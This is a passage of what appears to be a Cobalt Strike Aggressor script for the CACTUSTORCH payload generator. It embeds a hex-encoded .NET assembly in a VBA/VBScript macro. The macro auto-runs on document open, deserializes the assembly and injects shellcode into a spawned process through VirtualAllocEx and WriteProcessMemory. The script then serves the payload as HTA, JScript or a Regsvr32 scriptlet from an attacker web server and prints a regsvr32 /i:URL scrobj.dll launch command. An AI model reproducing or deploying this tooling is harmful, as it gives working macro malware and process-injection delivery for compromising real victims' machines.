$data = $data . " serialized_obj = serialized_obj & \"482E646C6C0053797374656D00456E756D006C704E756D6265724F6642797465735772697474656E006C7050726F63657373\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"496E666F726D6174696F6E0053797374656D2E5265666C656374696F6E004D656D6F727950726F74656374696F6E006C7053\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"746172747570496E666F005A65726F006C704465736B746F7000627566666572006C70506172616D65746572006853746445\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"72726F72002E63746F72006C70536563757269747944657363726970746F7200496E745074720053797374656D2E44696167\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"6E6F73746963730053797374656D2E52756E74696D652E496E7465726F7053657276696365730053797374656D2E52756E74\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730062496E686572697448616E646C65\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"73006C7054687265616441747472696275746573006C7050726F636573734174747269627574657300536563757269747941\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"7474726962757465730064774372656174696F6E466C6167730043726561746550726F63657373466C616773006477466C61\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"6773004475706C69636174654F7074696F6E7300647758436F756E74436861727300647759436F756E744368617273005465\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"726D696E61746550726F63657373006850726F63657373006C704261736541646472657373006C7041646472657373006C70\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"53746172744164647265737300436F6E636174004F626A65637400666C4F6C6450726F7465637400666C50726F7465637400\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"666C4E657750726F74656374006C70456E7669726F6E6D656E7400436F6E766572740068537464496E70757400685374644F\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"7574707574007753686F7757696E646F77005669727475616C416C6C6F634578005669727475616C50726F74656374457800\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"62696E61727900577269746550726F636573734D656D6F7279006C7043757272656E744469726563746F7279006F705F4571\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"75616C697479006F705F496E657175616C6974790000010019500072006F006700720061006D005700360034003300320000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0D770069006E0064006900720000155C0053007900730057004F005700360034005C0000155C00530079007300740065006D\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"00330032005C000003300000001662F14473FD1A4190700B9987CFFABE00042001010803200001052001011111042001010E\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"04200101020E07091D0518121C11100E181808180500011D050E0400010E0E032000080600030E0E0E0E0206180320000E05\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0002020E0E040001081C08B77A5C561934E08904010000000402000000040400000004080000000410000000042000000004\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"4000000004800000000400010000040002000004000400000400080000040010000004002000000400400000040080000004\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0000010004000002000400000400040000080004000010000400002000040000000104000000020400000004040000000804\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0000001004000000200400000040040000008004003000000400004000020608020602020609030611140306111802060603\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0611200306112413000A180E0E120C120C021114180E121C1011100A00051818181811201124090005181818181124180900\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"050218181D0518080500020218090A00071818180918180918052002010E0E0801000800000000001E010001005402165772\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"61704E6F6E457863657074696F6E5468726F7773010801000200000000001001000B434143545553544F5243480000050100\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0000000501000100002901002435363539386631632D366438382D343939342D613339322D61663333376162653537373700\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"000C010007312E302E302E300000000000C43500000000000000000000DE3500000020000000000000000000000000000000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"00000000000000D0350000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"2500200010000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0000000000010001000000300000800000000000000000000000000000010000000000480000005840000034030000000000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0000000000340334000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"000100000001000000000000000100000000003F000000000000000400000002000000000000000000000000000000440000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C00610074\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0069006F006E00000000000000B00494020000010053007400720069006E006700460069006C00650049006E0066006F0000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0070020000010030003000300030003000340062003000000030000C00010043006F006D006D0065006E0074007300000043\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"004100430054005500530054004F00520043004800000022000100010043006F006D00700061006E0079004E0061006D0065\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"00000000000000000040000C000100460069006C0065004400650073006300720069007000740069006F006E000000000043\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"004100430054005500530054004F005200430048000000300008000100460069006C006500560065007200730069006F006E\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"000000000031002E0030002E0030002E003000000040001000010049006E007400650072006E0061006C004E0061006D0065\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"00000043004100430054005500530054004F005200430048002E0064006C006C0000003C000C0001004C006500670061006C\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0043006F007000790072006900670068007400000043004100430054005500530054004F0052004300480000002A00010001\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"004C006500670061006C00540072006100640065006D00610072006B00730000000000000000004800100001004F00720069\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"00670069006E0061006C00460069006C0065006E0061006D006500000043004100430054005500530054004F005200430048\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"002E0064006C006C00000038000C000100500072006F0064007500630074004E0061006D0065000000000043004100430054\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"005500530054004F005200430048000000340008000100500072006F006400750063007400560065007200730069006F006E\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"00000031002E0030002E0030002E003000000038000800010041007300730065006D0062006C007900200056006500720073\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0069006F006E00000031002E0030002E0030002E003000000000000000000000000000000000000000000000000000000000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0000000000000000000000000000000000000000000000000000000000000000000000000000000000003000000C000000F0\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"3500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"000000010D00000004000000091700000009060000000916000000061A0000002753797374656D2E5265666C656374696F6E\"\r\n";
$data = $data . " serialized_obj = serialized_obj & \"2E417373656D626C79204C6F616428427974655B5D29080000000A0B\"\r\n";
$data = $data . " entry_class = \"cactusTorch\"\r\n";
$data = $data . " Dim stm As Object, fmt As Object, al As Object\r\n";
$data = $data . " Set stm = CreateObject(\"System.IO.MemoryStream\")\r\n";
$data = $data . " Set fmt = CreateObject(\"System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\")\r\n";
$data = $data . " Set al = CreateObject(\"System.Collections.ArrayList\")\r\n";
$data = $data . " Dim dec\r\n";
$data = $data . " dec = decodeHex(serialized_obj)\r\n";
$data = $data . " For Each i In dec\r\n";
$data = $data . " stm.WriteByte i\r\n";
$data = $data . " Next i\r\n";
$data = $data . " stm.Position = 0\r\n";
$data = $data . " Dim n As Object, d As Object, o As Object\r\n";
$data = $data . " Set n = fmt.SurrogateSelector\r\n";
$data = $data . " Set d = fmt.Deserialize_2(stm)\r\n";
$data = $data . " al.Add n\r\n";
$data = $data . " Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)\r\n";
$data = $data . " o.flame binary,code\r\n";
$data = $data . "End Function\r\n";
$data = $data . "Sub Workbook_Open()\r\n";
$data = $data . "Init\r\n";
$data = $data . "Run\r\n";
$data = $data . "End Sub\r\n";
$data = $data . "Sub AutoOpen()\r\n";
$data = $data . "Init\r\n";
$data = $data . "Run\r\n";
$data = $data . "End Sub\r\n";
$data = $data . "Sub Auto_Open()\r\n";
$data = $data . "AutoOpen\r\n";
$data = $data . "End Sub";
}
# $data is ready here
# Add to make HTA
if (%options["type"] eq "HTA"){
$data = "<script language=\"VBScript\">\r\n" . $data . "\r\nself.close\r\n</script>";
}
$url = "";
# begin hosting it
if (%options["type"] eq "VBScript"){
# host VBScript
$url = site_host(%options["host"], %options["port"], %options["uri"], $data, "application/x-vbs");
prompt_text("Payload: ", $url, {});
}
else if(%options["type"] eq "HTA"){
# host HTA
$url = site_host(%options["host"], %options["port"], %options["uri"], $data, "application/hta");
prompt_text("Payload: ", $url, {});
}
else if(%options["type"] eq "JScript") {
# host JScript
$url = site_host(%options["host"], %options["port"], %options["uri"], $data, "application/octet-stream");
prompt_text("Payload: ", $url, {});
}
else if (%options["type"] eq "Regsvr32") {
$url = site_host(%options["host"], %options["port"], %options["uri"], $data, "image/png");
prompt_text("Payload: ", "regsvr32 /s /n /u /i:" . $url . " scrobj.dll", {});
}
else{
# Split out VBA Macro to copy
$url = $data;
[dialog.DialogUtils addToClipboard: $data];
}
# tell the user our URL
}
# create a popup menu!
popup attacks {
item "Host CACTUSTORCH Payload" {
local('$dialog %defaults');
# setup our defaults
%defaults["uri"] = "/a";
%defaults["host"] = localip();
%defaults["port"] = 80;
%defaults["stageless"] = "true";
%defaults["binary"] = "rundll32.exe";
# create our dialog
$dialog = dialog("Host CACTUSTORCH Payload", %defaults, &setup_attack);